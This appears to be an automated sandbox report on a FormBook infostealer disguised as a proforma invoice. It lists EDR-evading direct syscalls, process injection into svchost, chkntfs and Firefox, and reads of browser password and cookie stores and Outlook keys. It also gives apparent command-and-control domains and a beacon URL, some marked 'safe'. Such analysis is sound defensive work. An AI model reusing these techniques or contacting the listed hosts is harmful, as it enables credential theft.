Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032649D0 mov eax, dword ptr fs:[00000030h]	2_2_032649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FA9D3 mov eax, dword ptr fs:[00000030h]	2_2_032FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]	2_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]	2_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]	2_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252835 mov ecx, dword ptr fs:[00000030h]	2_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]	2_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]	2_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A830 mov eax, dword ptr fs:[00000030h]	2_2_0326A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D483A mov eax, dword ptr fs:[00000030h]	2_2_032D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D483A mov eax, dword ptr fs:[00000030h]	2_2_032D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BC810 mov eax, dword ptr fs:[00000030h]	2_2_032BC810

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_00480B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

0_2_00480B62

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00452622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00452622
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_0044083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0044083F
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_004409D5 SetUnhandledExceptionFilter,	0_2_004409D5
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_00440C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00440C21

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtProtectVirtualMemory: Direct from: 0x76EE7B2E	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtCreateUserProcess: Direct from: 0x76EF371C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtAllocateVirtualMemory: Direct from: 0x76EF3C9C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtWriteVirtualMemory: Direct from: 0x76EF490C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtSetInformationThread: Direct from: 0x76EE63F9	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtSetInformationThread: Direct from: 0x76EF2B4C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtReadVirtualMemory: Direct from: 0x76EF2E8C	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	NtCreateKey: Direct from: 0x76EF2C6C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\chkntfs.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: NULL target: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: NULL target: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\chkntfs.exe

Thread register set: target process: 320

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\chkntfs.exe

Thread APC queued: target process: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe

Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 532008

Jump to behavior

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

0_2_00481201

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_00462BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00462BA5

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_0048B226 SendInput,keybd_event,

0_2_0048B226

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_004A22DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

0_2_004A22DA

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe"	Jump to behavior
Source: C:\Program Files (x86)\KOhUUFHfcuxdusayqMtVwfynXyfuyomVLVJLnXFrKEFE\aWQzvnOIPI.exe	Process created: C:\Windows\SysWOW64\chkntfs.exe "C:\Windows\SysWOW64\chkntfs.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

0_2_00480B62

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_00481663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_00481663

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: aWQzvnOIPI.exe, 00000003.00000000.2139433567.0000000000F71000.00000002.00000001.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000003.00000002.3887372857.0000000000F71000.00000002.00000001.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000000.2289710487.00000000016D1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe, aWQzvnOIPI.exe, 00000003.00000000.2139433567.0000000000F71000.00000002.00000001.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000003.00000002.3887372857.0000000000F71000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: aWQzvnOIPI.exe, 00000003.00000000.2139433567.0000000000F71000.00000002.00000001.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000003.00000002.3887372857.0000000000F71000.00000002.00000001.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000000.2289710487.00000000016D1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: aWQzvnOIPI.exe, 00000003.00000000.2139433567.0000000000F71000.00000002.00000001.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000003.00000002.3887372857.0000000000F71000.00000002.00000001.00040000.00000000.sdmp, aWQzvnOIPI.exe, 00000006.00000000.2289710487.00000000016D1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_00440698 cpuid

0_2_00440698

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_00498195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

0_2_00498195

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_0047D27A GetUserNameW,

0_2_0047D27A

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_0045B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

0_2_0045B952

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe

Code function: 0_2_004242DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_004242DE

Stealing of Sensitive Information

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.670000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2218035325.0000000000670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3889703348.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3887681480.0000000003A60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3887653042.0000000004120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2218789081.0000000004950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3886145811.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2218375524.0000000002F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3887511175.00000000027F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\chkntfs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Jump to behavior

Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Binary or memory string: WIN_81
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Binary or memory string: WIN_XP
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Binary or memory string: WIN_XPe
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Binary or memory string: WIN_VISTA
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Binary or memory string: WIN_7
Source: PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected FormBook

Source: Yara match	File source: 2.2.svchost.exe.670000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.670000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2218035325.0000000000670000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3889703348.00000000054F0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3887681480.0000000003A60000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3887653042.0000000004120000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2218789081.0000000004950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3886145811.00000000001A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2218375524.0000000002F00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3887511175.00000000027F0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_004A1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		0_2_004A1204
Source: C:\Users\user\Desktop\PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	Code function: 0_2_004A1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_004A1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	34%	ReversingLabs	Win32.Trojan.AutoitInject
PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	30%	Virustotal		Browse
PROFORMA INVOICE BKS-0121-24-25-JP240604.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
www.clientebradesco.online	4%	Virustotal	Browse
d55dg.top	0%	Virustotal	Browse
www.healthsolutions.top	1%	Virustotal	Browse
www.asian-massage-us.xyz	1%	Virustotal	Browse
www.qiluqiyuan.buzz	1%	Virustotal	Browse
www.myim.cloud	0%	Virustotal	Browse
www.esistiliya.online	0%	Virustotal	Browse
www.omexai.info	0%	Virustotal	Browse
www.aflaksokna.com	0%	Virustotal	Browse
www.arlon-commerce.com	0%	Virustotal	Browse
www.d55dg.top	1%	Virustotal	Browse
omexai.info	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://www.dfbio.net:80/yzen/?MHZDTHg=O9V9WpJA2Id3CQ8RbCyxNyy8YHr	0%	Avira URL Cloud	safe
http://www.clientebradesco.online/xsf1?gp=1&js=1&uuid=1725871306.0083265548&other_args=eyJ1cmkiOiAiL	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://www.healthsolutions.top/cent/	0%	Avira URL Cloud	safe
http://www.dfbio.net/yzen/	0%	Avira URL Cloud	safe
http://www.dfbio.net/yzen/?MHZDTHg=O9V9WpJA2Id3CQ8RbCyxNyy8YHr+x7luQNnrI8f3VjqE97lt7JSCdbE8JrYB0ARmCvuQ5PpqBCp66EiUa7dY4bjGHbWiFISykJbmA24D38d4U9gmj0KuNkWrH/Oj7BpqHw==&m8=721TkfhHN46HeBfP	0%	Avira URL Cloud	safe
